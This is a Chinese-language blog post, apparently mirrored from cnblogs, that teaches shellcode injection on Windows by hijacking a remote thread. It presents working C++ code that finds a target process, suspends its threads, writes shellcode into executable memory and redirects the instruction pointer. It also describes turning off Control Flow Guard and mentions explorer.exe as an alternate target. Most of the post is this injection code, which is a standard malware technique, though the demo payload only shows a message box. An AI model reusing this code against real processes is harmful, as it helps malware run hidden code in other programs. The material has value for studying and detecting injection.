zoukankan      html  css  js  c++  java
  • windows:shellcode 远程线程hook/注入(一)

      https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;

      先说第一种思路,如下:

              

      核心代码解析如下:

      1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;

    #include <windows.h>
    #include <stdio.h>
    
    int main() 
    {
        printf("dead looping...............
    ");
        while (TRUE) 
        {
    
        }
    }

      注意:本人测试环境:

           

      win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;

      

       2、遍历进程,找到目标进程后再遍历该进程名下其他线程:

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
        HANDLE victimProcess = NULL;
        PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
        THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
        std::vector<DWORD> threadIds;
        HANDLE threadHandle = NULL;
    
        if (Process32First(snapshot, &processEntry)) {
            while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
                Process32Next(snapshot, &processEntry);
            }
        }
    
        victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    
        if (Thread32First(snapshot, &threadEntry)) {
            do {
                if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                    threadIds.push_back(threadEntry.th32ThreadID);
                }
            } while (Thread32Next(snapshot, &threadEntry));
        }
    
        for (DWORD threadId : threadIds) {
            threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
            if (Wow64SuspendThread(threadHandle) == -1) //挂起线程失败
            {
                continue;
            }
            printf("threadId:%d
    ", threadId);
            if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
            {
                printf("threadID = %d inject success!", threadId);
                CloseHandle(victimProcess);
                CloseHandle(threadHandle);
                break;
            }
        }

      3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;

    BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
    {
        LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (shellAddress == NULL)
        {
            printf("VirtualAlloc Error
    ");
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
            ResumeThread(hThread);
            return FALSE;
        }
    
        WOW64_CONTEXT ctx = { 0 };
        ctx.ContextFlags = CONTEXT_ALL;
    
        if (!Wow64GetThreadContext(hThread, &ctx))
        {
            int a = GetLastError();
            printf("GetThreadContext Error:%d
    ", a);
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
            ResumeThread(hThread);
            return FALSE;
        }
        DWORD currentEIP = ctx.Eip;
        if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
        {
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
            printf("write shellcode error
    ");
            ResumeThread(hThread);
            return FALSE;
        }
        ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
        if (!Wow64SetThreadContext(hThread, &ctx))
        {
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
            printf("set thread context error
    ");
            ResumeThread(hThread);
            return FALSE;
        }
        ResumeThread(hThread);
        return TRUE;
    }

           效果:弹出了messagebox:

           

           也在目标进程的目录下生成了文件:

          

      4、最后做一些总结:

    •     为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
    •     shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:

        

        从process hacker看,线程并未改变,还是之前的那个:

         

        那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:

        

         好在自己写的测试进程不复杂,很容易找到答案,分析如下:

                 (1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;

                 (2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:

                

         从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;

            

                 这里也能看到栈顶是EntryPoint的地址:

                 

       5、 这次注入shellcode虽说成功,问题也很明显:

    •    手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
    •    没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
    •    类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;

         后续会通过其他方案挨个解决这些问题!

  • 相关阅读:
    Mysql Select 语句中实现的判断
    SQL根据一个字符串集合循环保存数据库
    SQL语句 不足位数补0
    SVN常见错误
    svn架构
    关于EXCEL显示数字
    exception from hresult:0x8000401A(excel文档导出)
    WIN7安装注意事项
    解决卸载时残留目标文件夹的问题
    Installshield执行多条批处理的方法
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13218651.html
Copyright © 2011-2022 走看看